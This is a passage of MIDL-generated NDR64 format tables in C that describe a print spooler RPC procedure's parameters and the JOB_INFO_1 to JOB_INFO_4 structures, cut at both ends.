0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag193,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* JobId */      /* parameter JobId */\n        &__midl_frag948,\n        { \n        /* JobId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag948,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pJob */      /* parameter pJob */\n        &__midl_frag151,\n        { \n        /* pJob */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag948,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag948,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag144_t __midl_frag144 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *DEVMODE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag59\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *SECURITY_DESCRIPTOR */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag64\n    }\n};\n\nstatic const __midl_frag133_t __midl_frag133 =\n{ \n/* JOB_INFO_4 */\n    { \n    /* JOB_INFO_4 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* JOB_INFO_4 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 160 /* 0xa0 */,\n        0,\n        0,\n        &__midl_frag144,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag132_t __midl_frag132 =\n{ \n/* *JOB_INFO_4 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag133\n};\n\nstatic const __midl_frag131_t __midl_frag131 =\n{ \n/* JOB_INFO_3 */\n    { \n    /* JOB_INFO_3 */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* JOB_INFO_3 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 12 /* 0xc */\n    }\n};\n\nstatic const __midl_frag130_t __midl_frag130 =\n{ \n/* *JOB_INFO_3 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag131\n};\n\nstatic const __midl_frag118_t __midl_frag118 =\n{ \n/* JOB_INFO_2 */\n    { \n    /* JOB_INFO_2 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* JOB_INFO_2 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 160 /* 0xa0 */,\n        0,\n        0,\n        &__midl_frag144,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* JOB_INFO_2 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag117_t __midl_frag117 =\n{ \n/* *JOB_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag118\n};\n\nstatic const __midl_frag116_t __midl_frag116 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    }\n};\n\nstatic const __midl_frag109_t __midl_frag109 =\n{ \n/* JOB_INFO_1 */\n    { \n    /* JOB_INFO_1 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* JOB_INFO_1 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 96 /* 0x60 */,\n        0,\n        0,\n        &__midl_frag116,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 